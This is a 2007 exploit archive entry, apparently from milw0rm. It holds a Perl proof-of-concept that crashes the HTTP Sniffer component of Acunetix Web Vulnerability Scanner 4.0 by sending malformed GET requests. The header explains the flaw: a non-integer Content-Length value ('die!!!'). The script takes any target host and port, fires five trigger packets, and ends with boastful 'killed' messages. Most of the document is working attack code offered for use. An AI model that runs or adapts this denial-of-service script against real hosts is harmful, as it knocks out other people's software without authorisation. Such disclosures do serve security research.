Acunetix WVS <= 4.0 20060717 HTTP Sniffer Component Remote DoS

                                                #!/usr/bin/perl -w
#
# Acunetix Web Vulnerability Scanner 4.0 <= Build 20060717
# HTTP Sniffer component
# Remote Denial of Service
#
# Explaination:
# I found a DoS in Acunetix WVS doing a little bit of fuzzing.
# The flaw is triggered when a malformed packet is sent. Thus, an Exception Handler shows
# an Error Window saying: "'die!!!' is not a valid integer value", but, if we sent the
# same packet again (while that message still visible) the application will crash.
#
# The malformed HTTP packet contains an invalid 'Content-Length' field (string), and it
# must be a positive integer.
#
# Acunetix' support: "The bug which was causing it to crash was also related to another
# bug fix which was implemented in later versions.". So, in latest version, an Error
# message like this appears:
#  ________________________________________________________
# |wvs.exe                                                 |
# |--------------------------------------------------------|
# |[X] An error ocurred in the application                 |
# |                                  |continue application||
# |                                  |restart application ||
# ||send bug report||show bug report||close applicacion   ||
# |________________________________________________________|
#
# Affected version tested:
# Acunetix WVS (Consultant Edition) 4.0 Build 20060717
#
# Non-affected version tested:
# Acunetix WVS 4.0 Build 20060717
#
# nitr0us <nitrousenador[ at ]gmail[ dot]com>
# 01/01/07 . . . Happy new year.

use strict;
use Socket qw( :DEFAULT :crlf );        # $CRLF
use IO::Socket;

sub header
{
       print "################################################################\n";
       print "#   Acunetix Web Vulnerability Scanner 4.0 <= Build 20060717   #\n";
       print "#                  HTTP Sniffer component                      #\n";
       print "#                 Remote Denial of Service                     #\n";
       print "#                        by nitr0us                            #\n";
       print "################################################################\n\n";
       print "Usage: $0 <host> [port(default 8080)]\n";
       exit(0xdead);
}

header() unless $ARGV[0];

my $port = 8080;
my $acunetix_wvs;
my $packetz = 5;

if($ARGV[1]){
       $port = $ARGV[1];
}

print "\n[+] Connecting and sending $packetz malformed packetz\n\n";

for(my $foo = 0; $foo < $packetz; $foo++){
       $acunetix_wvs = IO::Socket::INET->new(  PeerAddr        =>      $ARGV[0],
                                               PeerPort        =>      $port,
                                               Proto           =>      'tcp')
               or die "Could not create socket: $!\n";

       print $acunetix_wvs "GET / HTTP/1.0$CRLF";
       print $acunetix_wvs "Content-Length: die!!!$CRLF$CRLF"; # Trigger

       $acunetix_wvs->close();

       sleep(1);
}

print "[+] $packetz malformed packetz sent ];D\n\n";
print "[+] Acunetix WVS! killed ! ;)\n\n";

# milw0rm.com [2007-01-04]